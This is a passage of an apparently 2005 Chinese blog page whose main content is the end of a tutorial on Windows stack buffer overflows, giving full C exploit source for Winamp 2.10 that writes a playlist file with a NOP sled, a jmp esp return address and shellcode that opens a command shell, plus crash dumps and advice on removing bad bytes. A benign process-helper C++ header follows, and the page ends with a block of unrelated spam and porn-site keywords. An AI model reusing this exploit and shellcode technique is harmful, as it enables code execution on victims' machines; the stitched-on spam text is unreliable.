"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";

FILE *file;

for(int x=0;x<580;x++) {
buffer[x] = 0x90;
}

file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", shellcode);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
----------------------------------------------------------------------------

OK,運(yùn)行他,生成一個(gè)文件叫做crash.pls.在winamp里面打開(kāi)這個(gè)playlist,
就應(yīng)該出一個(gè)dos。出來(lái)了嗎?

哎呀,怎么又是錯(cuò)誤?

WINAMP 在 017f:004200c3 的模塊
WINAMP.EXE 中導(dǎo)致無(wú)效頁(yè)錯(cuò)誤。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090
90909090 90909090 90909090 90909090 90909090 90909090
90909090 90909090 90909090 90909090

看看出錯(cuò)信息,EIP是4200c3,看來(lái)已經(jīng)開(kāi)始執(zhí)行我們的shellcode了,怎么會(huì)有
無(wú)效頁(yè)錯(cuò)誤呢?看來(lái)我們的shellcode有問(wèn)題。

這個(gè)時(shí)候,s-ice就又派上用場(chǎng)了,跟蹤一下看看:
ctrl-d
bpx bff795a3(就是我們的jmp esp)
x
好,現(xiàn)在運(yùn)行winamp,打開(kāi)文件crash.pls,被s-ice攔下,開(kāi)始跟蹤。一個(gè)jmp esp
之后,就到了我們的shellcode上,繼續(xù)執(zhí)行,看到了什么嗎?

奇怪!我們的shellcode變短了,到B8249801,后面就沒(méi)有了。這是怎么回事?
應(yīng)該是\xB8\x24\x98\x01\x78呀,\x01到什么地方去了?

看來(lái)敵人把輸入的溢出字符串作樂(lè)處理,把不能作為文件名的字符都作為0處理了
(事實(shí)上這是win32api函數(shù)作的處理)。我們的shellcode被截?cái)嗔恕?br>
我在第4講第一節(jié)就說(shuō)過(guò)對(duì)這種問(wèn)題的對(duì)策。這個(gè)問(wèn)題的解決需要我們改換shellcode,
去掉那些有問(wèn)題的字符:\x01

我們作如下替換:
mov eax,78019824 ----> mov eax,ffffffff
sub eax,87fe67db
匯編得到:

xB8\x24\x98\x01\x78 ----> \xB8\xFF\xFF\xFF\xFF
\x2d\xdB\x67\xFe\x87
得到下面的新程序:
/* Stack based buffer overflow exploit for Winamp v2.10
* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
*
* For a detailed description on the exploit see my advisory.
*
* Tested with Winamp v2.10 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf

* modify by ipxodi 20-01-2k

* for windows98 the 2nd version and for a new shellcode.

* windows98 v 4.10.2222.A chinese version
* pII 366 with 64MB RAM(Not a good PC,en?)

* ipxodi@263.net
*/

#include
int main()
{

char buffer[640];
char eip[8] = "\xa3\x95\xf7\xbf";
char sploit[256] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\xFF\xFF\xFF\xFF\x2d\xdB\x67\xFe\x87\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";

FILE *file;

for(int x=0;x<580;x++) {
buffer[x] = 0x90;
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}


OK,運(yùn)行他,生成一個(gè)文件叫做crash.pls.在winamp里面打開(kāi)這個(gè)playlist,
結(jié)果如下,我可愛(ài)的dos出來(lái)了:

Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.

D:\hacker\document\ipxodi>dir
.........................
........就不貼了.........


總結(jié):

經(jīng)過(guò)這次實(shí)戰(zhàn)的演練,大家一定對(duì)windows下的buffer overflow有了很深的掌握了。
我們可以看到,windows下的堆棧溢出攻擊和unix下的,原理基本相同。但是,
由于windows用戶進(jìn)程地址空間分配和堆棧處理有其獨(dú)立的特點(diǎn),導(dǎo)致了windows
環(huán)境下堆棧溢出攻擊時(shí),使用的堆棧溢出字符串,與unix下的,區(qū)別很大。這也
是我在寫(xiě)完linux下的堆棧溢出系列之后,另外寫(xiě)windows系列的原因。

另外,大家從破解的過(guò)程中,可以發(fā)現(xiàn)我一再?gòu)?qiáng)調(diào)windows的版本。事實(shí)上,這
也導(dǎo)致了windows下的exploit不具有通用性。大家的windows版本不一,
而exploit使用了很多動(dòng)態(tài)鏈接庫(kù)里面的庫(kù)函數(shù),其地址都是與dll的版本有
關(guān)系的。不同的dll版本,里面的庫(kù)函數(shù)的偏移地址就可能(注意:是可能)
不同。因?yàn)閣indows的patch天天有,他的一些dll就更新很快。甚至可能不同
語(yǔ)言版本的windows,其核心dll的版本都不同。用戶的dll一變更,
那么,我們的exploit里面的shellcode就要重新寫(xiě)。

為了解決這個(gè)問(wèn)題,我想我們可以盡量減少固定地址的使用。即,使用
GetProcAddress來(lái)獲得我們將使用的每一個(gè)系統(tǒng)函數(shù),當(dāng)然這就大大加長(zhǎng)了
我們的shellcode。但是,這也無(wú)法消除對(duì)kernel32.dll的中LoadLibrary和
GetProcAddress的地址的直接引用,因?yàn)檫@兩個(gè)是shellcode中最基本的
函數(shù),自然就導(dǎo)致了對(duì)kernel32.dll版本的依賴(lài)。

這里奉勸大家,當(dāng)你寫(xiě)的exploit發(fā)生無(wú)效頁(yè)錯(cuò)誤時(shí),不要灰心。運(yùn)行sice,
跟蹤你的shellcode,會(huì)發(fā)現(xiàn)問(wèn)題的根源的。

因此,這也回答了去年xsz,littleworm它們的問(wèn)題。當(dāng)時(shí)我們實(shí)驗(yàn)IIS4.0
的exploit總是沒(méi)有成功,client端執(zhí)行完了以后server端我們經(jīng)常看到
access violation的框,就是因?yàn)閟hellcode的版本依賴(lài)問(wèn)題導(dǎo)致的。

所以,對(duì)于windows下的堆棧溢出exploit,必須公開(kāi)原代碼,才能由其他人完成
別的版本的修改,這一點(diǎn),大家以后公布exploit時(shí),要記住。

說(shuō)一句題外話:
很多人運(yùn)行了堆棧溢出exploit以后沒(méi)有成功,就認(rèn)為自己的機(jī)器沒(méi)有毛病。
對(duì)此,dark spyrit AKA Barnaby Jack曾有這樣的建議:
If the exploit failed......
Do not determine the threat to your servers solely on the results of one
public exploit - the vulnerability exists, fix it. If you think that was
the only demonstration code floating around you need your head examined.

以前咱們水木黑客版97年堆棧溢出大討論的時(shí)候,rainer就很高水平的探討過(guò)
windows下的buffer overflow。他的文章現(xiàn)在還在,大家可以去精華區(qū)看看。
不過(guò)當(dāng)時(shí)只是探討原理,還停留在堆棧溢出的可行性,遠(yuǎn)沒(méi)有探討利用他來(lái)攻擊。
我也曾經(jīng)以為windows的堆棧溢出攻擊是不必要的。

后來(lái),NT的中普通用戶獲取admin,我想到過(guò)仿照UNIX,搞緩沖區(qū)溢出攻擊。
因?yàn)镹T里面有很多系統(tǒng)進(jìn)程,都是以system賬號(hào)啟動(dòng)的。如果我們可以將它們
overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe),將擁有
超級(jí)用戶的權(quán)限。當(dāng)然可以為所欲為了。

這只是windows NT下堆棧溢出攻擊的一個(gè)應(yīng)用。去年,我研究IIS4.0的溢出之后,
發(fā)現(xiàn)帶有問(wèn)題的windows網(wǎng)絡(luò)服務(wù)程序?qū)е铝藈indows堆棧溢出,可以幫助我們
獲得遠(yuǎn)程控制。才認(rèn)識(shí)到windows堆棧溢出攻擊將是一個(gè)很有研究?jī)r(jià)值的攻擊
手段。

在后續(xù)的研究中,有時(shí)候因?yàn)槔щy幾乎要放棄。好在有小懶蟲(chóng)(sysword),
小四(hellguard),康師傅(kxn)這些網(wǎng)友
給我的督促和幫助。在此感謝,同時(shí)感謝以前一起討論過(guò)windows系列堆棧溢出
的朋友littleworm,xsz它們。

最后,我希望我的講座作為拋磚引玉,能夠引發(fā)大家更深入的探討。希望大家在
看了之后,能夠?qū)indows堆棧溢出技術(shù)有一定了了解。如果大家能夠提出改進(jìn)的
算法,或者發(fā)現(xiàn)新的exploit,就真正是光大了我們黑客版的精神。

讓我們以下面這句話共勉:
"If you assume that there's no hope, you guarantee there will be no hope.
If you assume that there is an instinct for freedom, there are
opportunities to change things."

-Noam Chomsky

posted @ 2005-12-02 11:22 Tommy Liang 閱讀(839) | 評(píng)論 (0)編輯 收藏

     摘要:             高質(zhì)量C++/C編程指南         文件狀態(tài) [  ] 草稿文件 [√] 正式文件 [  ] 更改正式文件 文件標(biāo)識(shí): ...  閱讀全文

posted @ 2005-12-01 03:56 Tommy Liang 閱讀(330) | 評(píng)論 (0)編輯 收藏

如下:
// ProcessHelper.h: interface for the ProcessHelper class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_PROCESSHELPER_H__EA2A87A6_5E54_4610_8EDD_C5F8119D2976__INCLUDED_)
#define AFX_PROCESSHELPER_H__EA2A87A6_5E54_4610_8EDD_C5F8119D2976__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#include 
<Tlhelp32.h>
#include 
<Psapi.h>

#define ProcessBasicInformation 0

typedef 
struct
{
    DWORD ExitStatus;
    DWORD PebBaseAddress;
    DWORD AffinityMask;
    DWORD BasePriority;
    ULONG UniqueProcessId;
    ULONG InheritedFromUniqueProcessId;
}
   PROCESS_BASIC_INFORMATION;

// ntdll!NtQueryInformationProcess (NT specific!)
//
// The function copies the process information of the
// specified type into a buffer
//
// NTSYSAPI
// NTSTATUS
// NTAPI
// NtQueryInformationProcess(
//    IN HANDLE ProcessHandle,              // handle to process
//    IN PROCESSINFOCLASS InformationClass, // information type
//    OUT PVOID ProcessInformation,         // pointer to buffer
//    IN ULONG ProcessInformationLength,    // buffer size in bytes
//    OUT PULONG ReturnLength OPTIONAL      // pointer to a 32-bit
//                                          // variable that receives
//                                          // the number of bytes
//                                          // written to the buffer 
// );
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);

class ProcessHelper  
{
public:
    ProcessHelper();
    
virtual ~ProcessHelper();

    DWORD GetParentProcessID(DWORD dwId);

    DWORD GetProcessFileName( DWORD dwId,LPTSTR lpImageFileName);

private:
    PROCNTQSIP NtQueryInformationProcess;


}
;


ProcessHelper::ProcessHelper()
{
    NtQueryInformationProcess 
= (PROCNTQSIP)GetProcAddress(
        GetModuleHandle(
"ntdll"),
        
"NtQueryInformationProcess"
        );
}


ProcessHelper::
~ProcessHelper()
{
    
}


DWORD ProcessHelper::GetProcessFileName( DWORD dwId,LPTSTR lpImageFileName)
{
    HANDLE hSnapshot 
= ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,dwId);
    
if (hSnapshot == INVALID_HANDLE_VALUE) 
        
return (FALSE); 

    MODULEENTRY32 me32        
= {0}
    me32.dwSize 
= sizeof(MODULEENTRY32); 

    
if(! Module32First(hSnapshot,&me32))
    
{
        CloseHandle(hSnapshot); 
        
return (DWORD) -1;
    }


    strcpy(lpImageFileName,me32.szModule);

    CloseHandle(hSnapshot);
    
return (DWORD)0;
}


DWORD ProcessHelper::GetParentProcessID(DWORD dwId)
{
    
if (!NtQueryInformationProcess)  return -1;
    
    LONG                      status;
    DWORD                     dwParentPID 
= (DWORD)-1;
    HANDLE                    hProcess;
    PROCESS_BASIC_INFORMATION pbi;
    
    
// Get process handle
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,dwId);
    
if (!hProcess)
        
return (DWORD)-1;
    
    
// Retrieve information
    status = NtQueryInformationProcess( hProcess,
        ProcessBasicInformation,
        (PVOID)
&pbi,
        
sizeof(PROCESS_BASIC_INFORMATION),
        NULL
        );
    
    
// Copy parent Id on success
    if  (!status)
        dwParentPID 
= pbi.InheritedFromUniqueProcessId;
    
    CloseHandle (hProcess);
    
    
return dwParentPID;
}



#endif

posted @ 2005-10-22 11:01 Tommy Liang 閱讀(1723) | 評(píng)論 (0)編輯 收藏

僅列出標(biāo)題
共6頁(yè): 1 2 3 4 5 6 
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲三级毛片| 久久免费国产| 一区二区精品在线| 欧美高清视频在线| 欧美成人一区二区三区| 日韩一级成人av| 免费在线欧美视频| 亚洲一区久久| 久久久久国色av免费观看性色| 欧美在线亚洲一区| 校园激情久久| 久久夜色精品国产欧美乱| 亚洲人被黑人高潮完整版| 欧美在线1区| 午夜亚洲福利在线老司机| 在线成人国产| 亚洲人成网站777色婷婷| 亚洲国产一区在线| 一区二区三区导航| 亚洲香蕉在线观看| 久久久免费精品| 亚洲黄色免费网站| 99精品视频免费观看| 亚洲精品一区二区在线观看| 亚洲一区黄色| 国产在线播精品第三| 欧美破处大片在线视频| 亚洲欧美日韩国产中文在线| 亚洲电影成人| 欧美大片一区| 久久久久久网址| 亚洲一区二区三区午夜| 在线免费观看日本一区| 在线中文字幕不卡| 日韩一二三区视频| 一本大道久久a久久综合婷婷| 亚洲国产精品激情在线观看| 一本色道久久88精品综合| 老司机aⅴ在线精品导航| 亚洲福利电影| 亚洲香蕉伊综合在人在线视看| 欧美在线网站| 精品不卡一区| 欧美在线视频不卡| 亚洲精品免费在线播放| 老色批av在线精品| 国产亚洲精品aa| 亚洲欧美国产日韩天堂区| 欧美福利视频在线观看| 欧美一区二区视频观看视频| 欧美日韩一区二区三区免费看| 伊人成人开心激情综合网| 久久国产精品久久w女人spa| 亚洲精品婷婷| 欧美日韩精品欧美日韩精品一| 亚洲精品韩国| 欧美电影免费网站| 久久九九99| 亚洲第一久久影院| 欧美激情视频一区二区三区免费 | 国产精品亚洲综合久久| 亚洲国产一成人久久精品| 亚洲一区二区三区乱码aⅴ蜜桃女 亚洲一区二区三区乱码aⅴ | 久久综合九色欧美综合狠狠| 欧美视频中文字幕在线| 91久久久亚洲精品| 久久综合九色99| 亚洲男女自偷自拍图片另类| 国内精品久久久久伊人av| 久久av在线| 欧美日韩一区二区免费在线观看 | 欧美在线啊v| 久久国产精品久久久久久久久久 | 久久综合综合久久综合| 亚洲性图久久| 欧美a级片网| 午夜精品久久久久久久99热浪潮| 欧美不卡三区| 国产亚洲欧美色| 亚洲欧洲日产国码二区| 国产精品va在线| 久久久久久久久久久久久女国产乱| 久久另类ts人妖一区二区| 日韩亚洲在线| 久久久www成人免费毛片麻豆| 国产最新精品精品你懂的| 久久丁香综合五月国产三级网站| 欧美日韩国产限制| 亚洲免费一区二区| 99国内精品久久| 久久一区二区三区国产精品| 亚洲国产精品尤物yw在线观看| 亚洲毛片av| 欧美在线亚洲一区| 欧美视频网站| 久热精品视频在线观看一区| 亚洲一区二区三区免费视频| 乱人伦精品视频在线观看| 欧美日韩福利视频| 狠狠色狠狠色综合日日tαg| 裸体丰满少妇做受久久99精品| 久久日韩粉嫩一区二区三区| 亚洲福利免费| 国产精品乱码一区二区三区| 欧美国产综合| 欧美在线亚洲一区| 国产精品色午夜在线观看| 美女亚洲精品| 一区二区高清在线| 亚洲一区二区在线| 亚洲第一搞黄网站| 国产亚洲精品久| 日韩视频在线观看国产| 亚洲经典在线看| 欧美一区二区三区在线观看| 亚洲欧洲偷拍精品| 精品不卡一区二区三区| 欧美精品电影| 久久天堂成人| 亚洲一线二线三线久久久| 欧美jjzz| 亚洲摸下面视频| 日韩午夜黄色| 欧美先锋影音| 国产精品麻豆成人av电影艾秋| 欧美成人免费全部| 久久精品一区二区三区四区| 欧美亚洲日本网站| 香蕉免费一区二区三区在线观看| 日韩亚洲在线| 91久久午夜| 一区二区三区高清视频在线观看| 亚洲日本精品国产第一区| 免费久久99精品国产| 玖玖玖国产精品| 欧美黄色免费| 亚洲美女免费视频| 亚洲日本欧美| 一本色道久久加勒比88综合| 亚洲午夜久久久久久久久电影网| 欧美中文字幕在线观看| 亚洲精品免费看| 性久久久久久久| 亚洲视频二区| 亚洲欧美国产视频| 在线一区二区日韩| 亚洲一二三区在线观看| 欧美激情一区二区三区高清视频| 欧美成人精品一区二区三区| 亚洲欧美精品伊人久久| 亚洲黄色成人网| 亚洲欧美另类综合偷拍| 亚洲天堂久久| 亚洲一区黄色| 国产精品美女一区二区| 国产精品久久久久久av福利软件 | 久久er精品视频| 欧美激情1区2区3区| 亚洲人www| 久久久夜夜夜| 欧美久久影院| 亚洲视频在线观看网站| 亚洲国产日韩综合一区| 国产伦精品一区二区三区高清版 | 欧美一级视频免费在线观看| 久久久91精品国产| 亚洲欧美另类在线| 欧美日韩在线播放| 在线视频精品| 欧美a级片网| 久久久久久国产精品mv| 国际精品欧美精品| 亚洲国产精品成人综合| 欧美mv日韩mv国产网站| 在线一区亚洲| 欧美在线视频免费| 亚洲色图综合久久| 国产亚洲一区在线| 一区二区国产日产| 亚洲激情第一页| 亚洲欧美中文字幕| 亚洲精品久久久久中文字幕欢迎你| 亚洲精选91| 久久久99国产精品免费| 久久久久99精品国产片| 欧美日韩亚洲系列| 揄拍成人国产精品视频| 久久免费精品日本久久中文字幕| 免费人成精品欧美精品| 欧美色大人视频| 欧美中文字幕久久| 久久天天狠狠| 榴莲视频成人在线观看| 久久久久在线观看| 亚洲欧美一区二区激情| 久久久久一区二区三区| 欧美一区二区在线看| 国产精品亚洲产品| 久久久久国产精品www| 欧美一区二区三区免费视频|